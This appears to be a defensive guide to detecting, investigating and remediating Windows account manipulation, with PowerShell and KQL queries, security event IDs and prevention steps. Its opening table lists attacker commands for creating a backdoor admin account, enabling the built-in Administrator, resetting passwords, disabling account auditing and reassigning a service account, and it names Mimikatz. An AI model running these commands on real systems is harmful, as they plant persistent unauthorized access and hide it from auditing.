#### 📌 **Common Techniques for Account Manipulation**

| **Technique**                  | **Description**                   | **Example Command**                                             |
| ------------------------------ | --------------------------------- | --------------------------------------------------------------- |
| **Create New Account**         | Add a new local user.             | `net user hacker Pass123! /add`                                 |
| **Add Account to Admin Group** | Grant administrative privileges.  | `net localgroup Administrators hacker /add`                     |
| **Modify Account Properties**  | Enable disabled accounts.         | `net user Administrator /active:yes`                            |
| **Change Passwords**           | Change account passwords.         | `net user Administrator NewPass123!`                            |
| **Disable Security Controls**  | Turn off account auditing.        | `auditpol /set /category:"Account Management" /success:disable` |
| **Modify Service Accounts**    | Change account used by a service. | `sc config TrustedInstaller obj= .\hacker`                      |

***

#### 📊 **Common Tools for Account Manipulation**

| **Tool**                                        | **Purpose**                                 |
| ----------------------------------------------- | ------------------------------------------- |
| **Net User**                                    | Create and modify user accounts.            |
| **PowerShell**                                  | Script account changes.                     |
| **Mimikatz**                                    | Extract and manipulate account credentials. |
| **Windows Management Instrumentation (WMI)**    | Modify accounts remotely.                   |
| **Active Directory Users and Computers (ADUC)** | Graphical account management.               |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Local User Accounts**

```powershell
Get-LocalUser
```

**🕵️ Check Accounts Added to Admin Groups**

```powershell
Get-LocalGroupMember -Group "Administrators"
```

**🕵️ Review Recently Created Accounts**

```powershell
Get-LocalUser | Where-Object { $_.LastLogon -gt (Get-Date).AddDays(-7) }
```

**🕵️ Check for Modified Account Policies**

```powershell
auditpol /get /category:"Account Management"
```

**🕵️ Inspect Event Logs for Account Creation**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Account Creation Events**

```kusto
SecurityEvent
| where EventID == 4720
| project Timestamp, AccountName, TargetUserName, DeviceName
```

**🕵️ Detect Accounts Added to Admin Groups**

```kusto
SecurityEvent
| where EventID == 4728
| project Timestamp, AccountName, GroupName, DeviceName
```

**🕵️ Detect Suspicious Account Modifications**

```kusto
SecurityEvent
| where EventID in (4722, 4724, 4725, 4738)
| project Timestamp, AccountName, TargetUserName, DeviceName
```

**🕵️ Monitor Password Changes**

```kusto
SecurityEvent
| where EventID == 4724
| project Timestamp, AccountName, TargetUserName, DeviceName
```

**🕵️ Detect Disabled Security Auditing**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "auditpol"
| where ProcessCommandLine contains "/set"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Suspicious PowerShell Commands**

```kusto
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "New-LocalUser" or ProcessCommandLine contains "Add-LocalGroupMember"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                     |
| ------------ | --------------------------------------------------- |
| **4720**     | A user account was created.                         |
| **4722**     | A user account was enabled.                         |
| **4724**     | An attempt was made to reset an account's password. |
| **4725**     | A user account was disabled.                        |
| **4728**     | A user was added to a privileged group.             |
| **4738**     | A user account was changed.                         |

**📌 Focus on Event ID 4720 (Account Creation):**

* Look for unusual account names and timestamps.

**📌 Focus on Event ID 4728 (Added to Admin Group):**

* Check if accounts were added unexpectedly to `Administrators`.

**📌 Focus on Event ID 4724 (Password Reset):**

* Look for accounts with passwords reset by unusual accounts.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Identify Suspicious Accounts**

* Check recently created accounts:

```powershell
Get-LocalUser | Where-Object { $_.LastLogon -gt (Get-Date).AddDays(-7) }
```

***

#### 2️⃣ **Inspect Privileged Group Membership**

* Review `Administrators` group:

```powershell
Get-LocalGroupMember -Group "Administrators"
```

***

#### 3️⃣ **Trace Password Changes**

* Inspect Event Logs:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4724}
```

***

#### 4️⃣ **Audit Account Policies**

* Ensure auditing is enabled:

```powershell
auditpol /get /category:"Account Management"
```

***

#### 5️⃣ **Review Suspicious Commands**

* Check for suspicious command execution:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*net user*" }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Disable Suspicious Accounts**

```powershell
Disable-LocalUser -Name "SuspiciousUser"
```

#### 📌 **2. Remove Unauthorized Group Membership**

```powershell
Remove-LocalGroupMember -Group "Administrators" -Member "SuspiciousUser"
```

#### 📌 **3. Reset Compromised Account Passwords**

```powershell
net user Administrator NewP@ssw0rd!
```

#### 📌 **4. Enable Security Auditing**

```powershell
auditpol /set /category:"Account Management" /success:enable /failure:enable
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Account Auditing:**
   * Ensure **Event IDs 4720, 4728, 4724, and 4738** are logged.
2. **Use Least Privilege Principle:**
   * Limit admin access to essential accounts only.
3. **Implement Strong Password Policies:**
   * Enforce **complex passwords** and regular password changes.
4. **Restrict Account Creation:**
   * Use **Group Policy** to restrict account creation permissions.
5. **Enable Multi-Factor Authentication (MFA):**
   * Prevent unauthorized account access.
6. **Monitor Critical Accounts:**
   * Set up alerts for admin accounts and privileged group changes.
7. **Educate Administrators:**
   * Train admins to recognize and respond to account manipulation attempts.

***

### 🧠 **6. Key Takeaways**

* **Account Manipulation Enables Persistence:** Attackers use it for long-term access.
* **Monitor Privileged Groups:** Admin group changes are a red flag.
* **Audit Account Changes:** Focus on **Event IDs 4720, 4728, 4724**.
* **Prevent Unauthorized Account Modifications:** Use **Group Policy** and **MFA**.

***